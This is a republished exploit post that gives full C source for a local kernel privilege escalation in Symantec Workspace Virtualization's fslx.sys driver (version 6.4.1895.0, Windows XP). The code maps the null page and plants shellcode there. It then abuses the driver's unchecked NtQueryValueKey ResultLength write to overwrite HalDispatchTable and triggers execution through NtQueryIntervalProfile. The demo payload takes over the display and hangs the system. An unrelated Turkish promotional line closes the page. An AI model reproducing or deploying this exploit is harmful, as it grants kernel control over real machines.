Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation Exploit

Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation Exploit

# Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation Exploit
# Date: 2013-7-17
# Author : MJ0011
# Version: Symantec Workspace Virtualization 6.4.1895.0
# Tested on: Windows XP SP3

DETAILS:

In fslx.sys 's hook function of "NtQueryValueKey" , it directly write to the buffer of "ResultLength" without any check

EXPLOIT CODE:

#include "stdafx.h"
#include "windows.h"
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
typedef LONG
(WINAPI *pNtQueryValueKey)(
                                 HANDLE KeyHandle,
                                 PUNICODE_STRING ValueName,
                                 ULONG KeyValueInformationClass,
                                PVOID KeyValueInformation,
                                 ULONG Length,
                                 PULONG ResultLength
    );
typedef
LONG (WINAPI *pNtQueryIntervalProfile )(
                                                 ULONG ProfileSource,
                                                 PULONG Interval
    );

typedef LONG
(WINAPI *pZwQuerySystemInformation) (
                                                   ULONG SystemInformationClass,
                                                   PVOID SystemInformation,
                                                   ULONG SystemInformationLength,
                                                   PULONG ReturnLength
    );
#include "malloc.h"
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
LONG status;
HMODULE hlib = GetModuleHandle("ntdll.dll");
pZwQuerySystemInformation ZwQuerySystemInformation = (pZwQuerySystemInformation)GetProcAddress(hlib , "ZwQuerySystemInformation");
do
{
mPtr = malloc(mSize);
if (mPtr)
{

        status = ZwQuerySystemInformation(ATableType , mPtr , mSize , 0 );
}
else
{
return NULL;
}
if (status == 0xc0000004)
{
free(mPtr);
mSize = mSize * 2;
}
} while (status == 0xc0000004);
if (status == 0)
{
return mPtr;
}
free(mPtr);
return NULL;
}
enum { SystemModuleInformation = 11,
SystemHandleInformation = 16 };
typedef struct {
    ULONG   Unknown1;
    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
 ULONG x1,
 ULONG y1,
 ULONG x2,
 ULONG y2,
 ULONG color
    );
typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
 ULONG Color
    );
typedef
VOID
(*INBV_DISPLAY_STRING_FILTER)(
 PUCHAR *Str
    );

typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
    INBV_DISPLAY_STRING_FILTER DisplayStringFilter
    );
typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
    BOOLEAN bEnable
    );
typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
    ULONG x1,
    ULONG y1,
    ULONG x2,
    ULONG y2
    );
typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
    PUCHAR Str
    );
PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ;
PINBV_RESET_DISPLAY InbvResetDisplay = 0 ;
PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ;
PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ;
PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ;
PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ;
PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ;
PINBV_DISPLAY_STRING InbvDisplayString= 0 ;

#define VGA_COLOR_BLACK 0
#define VGA_COLOR_RED 1
#define VGA_COLOR_GREEN 2
#define VGA_COLOR_GR 3
#define VGA_COLOR_BULE 4
#define VGA_COLOR_DARK_MEGAENTA 5
#define VGA_COLOR_TURQUOISE 6
#define VGA_COLOR_GRAY 7
#define VGA_COLOR_BRIGHT_GRAY 8
#define VGA_COLOR_BRIGHT_RED 9
#define VGA_COLOR_BRIGHT_GREEN 10
#define VGA_COLOR_BRIGHT_YELLOW 11
#define VGA_COLOR_BRIGHT_BULE 12
#define VGA_COLOR_BRIGHT_PURPLE 13
#define VGA_COLOR_BRIGHT_TURQUOISE 14
#define VGA_COLOR_WHITE 15
UCHAR DisplayString[] =
"                                                                                "
"                                                                                "
"                                                                                "
"                ---- ===== EXPLOIT SUCCESSFULLY ==== ----                       "
"                                                                                "
"                                                                                "
" Symantec Workspace Virtualization 6.4.1895.0 Local Privilege Escalation Exploit"
"                                                                                "
" VULNERABLE PRODUCT                                                             "
"                                                                                "
" Symantec Workspace Virtualization                                              "
"                                                                                "
"                                                                                "
" VULERABLE FILE                                                                 "
" fslx.sys <= 6.4.1895.0                                                         "
"                                                                                "
" AUTHOR                                                                         "
"                                                                                "
" MJ0011                                                                         "
"                                                              "
"                                                                                "
" 2013-7-17                                                                      "
" Symantec's technology is hundreds of years behind that of us                   "
"                                                                                "
"                                                                                ";

VOID InbvShellCode()
{
//DISABLE INTERRUPT

__asm
{
cli
}

//RESET TO VGA MODE

InbvAcquireDisplayOwnership();

InbvResetDisplay();

//FILL FULL SCREEN

InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);

//SET TEXT COLOR
InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);

InbvInstallDisplayStringFilter(NULL);

InbvEnableDisplayString(TRUE);

InbvSetScrollRegion( 0 , 0 , 639 ,477);

InbvDisplayString(DisplayString);
while(TRUE)
{

};

}

BOOL InbvInit(PVOID ntosbase , PSTR ntosname)
{
HMODULE hlib = LoadLibrary(ntosname);

if (hlib == NULL)
{
return FALSE ;
}

InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);
InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);
InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);
InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);
InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);
InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);
InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);

if (InbvAcquireDisplayOwnership &&
InbvResetDisplay &&
InbvSolidColorFill &&
InbvSetTextColor &&
InbvInstallDisplayStringFilter &&
InbvEnableDisplayString &&
InbvSetScrollRegion &&
InbvDisplayString)
{
return TRUE ;
}
return FALSE ;

}

typedef LONG (WINAPI *PNT_ALLOCATE_VIRTUAL_MEMORY)(
                                                                                                   HANDLE ProcessHandle,
                                                                                                   PVOID *BaseAddress,
                                                                                                   ULONG ZeroBits,
                                                                                                   PSIZE_T RegionSize,
                                                                                                   ULONG AllocationType,
                                                                                                   ULONG Protect
  );
#define  ProfileTotalIssues  2

int main(int argc, char* argv[])
{
        printf("Symantec Workspace Virtualization 6.4.1895.0 Local Privilege Escalation Exploit\n"
                "fslx.sys <= 6.4.1895.0\n"
                "\nBy MJ0011\n2013-7-17\\nPRESS ENTER\n");

        getchar();
        PSYSTEM_MODULE_INFORMATION pinfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
        if (pinfo==0)
        {
                printf("cannot get system info\n");
                return 0 ;
        }
        if (!InbvInit(pinfo->Module[0].Base , strrchr(pinfo->Module[0].ImageName , '\\') + 1))
        {
                printf("cannot init inbv system!\n");
                return 0 ;
        }
        pNtQueryValueKey NtQueryValueKey = (pNtQueryValueKey)GetProcAddress(GetModuleHandle("ntdll.dll") ,"NtQueryValueKey");

        //alloc shellcode jump

        PNT_ALLOCATE_VIRTUAL_MEMORY NTAllocateVM = (PNT_ALLOCATE_VIRTUAL_MEMORY)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");

        PVOID BaseAddress = (PVOID)0x1 ;
        ULONG dwsize = 0x1000 ;
        LONG status ;
        status = NTAllocateVM
                (
                GetCurrentProcess() ,
                &BaseAddress ,
                0 ,
                &dwsize ,
                MEM_COMMIT | MEM_RESERVE ,
                PAGE_READWRITE
);

        if (status !=0)
        {
                printf("err alloc vm %08x\n", status);
                getchar();
                return 0 ;
        }
        //result length always <=0x800
        //0~0x800: NOP
        //0x800: shell code

        memset((PVOID)0x0 , 0x90 , 0x1000);
        *(BYTE*)((ULONG)0x800) = 0xe9 ;
        *(ULONG*)((ULONG)0x801) = (ULONG)InbvShellCode - (ULONG)0x800 - 0x5 ;

        //get haldispatchtable

        HMODULE hntos = LoadLibrary(strrchr(pinfo->Module[0].ImageName , '\\')+1);
        if (hntos == 0 )
        {
                printf("cannot load ntos\n");
                getchar();
                return 0 ;
        }
        PVOID pHalDispatchTable = GetProcAddress(hntos , "HalDispatchTable");
        pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hntos);
        pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pinfo->Module[0].Base);
        PVOID xHalQuerySystemInformationAddr = (PVOID)((ULONG)pHalDispatchTable+ sizeof(ULONG));
        FreeLibrary(hntos);

        HKEY hkey ;
        ULONG err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_READ , &hkey);

        if (err!=ERROR_SUCCESS)
        {
                printf("open key read failed %u\n" ,err);
                getchar();
                return 0 ;
        }
        HKEY hkey2 ;

        err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_WRITE , &hkey2);

        if (err != ERROR_SUCCESS)
        {
                printf("open key write failed %u\n", err);
                getchar();
                return 0 ;
        }
        DWORD dd ;

        err = RegSetValueEx(hkey2 , "123" , 0 , REG_DWORD , (CONST BYTE*)&dd , sizeof(DWORD));

        if (err != ERROR_SUCCESS)
        {
                printf("set value %u\n" , err);
                getchar();

                return 0 ;
}       BYTE buffer[100];
        PVOID pbuf = buffer ;

        UNICODE_STRING name ;
        name.Buffer = NULL ;
        name.Length = 0 ;
        name.MaximumLength=0;
         status = NtQueryValueKey(hkey , &name , 2 , pbuf , 100 , (PULONG)xHalQuerySystemInformationAddr );

        //fire our shell code

        pNtQueryIntervalProfile NtQueryIntervalProfile = (pNtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryIntervalProfile");

        NtQueryIntervalProfile(ProfileTotalIssues , 0 );

        return 0;
}

Bir önceki yazımız olan Sharp Klima servisi başlıklı makalemizi de okumanızı öneririz.

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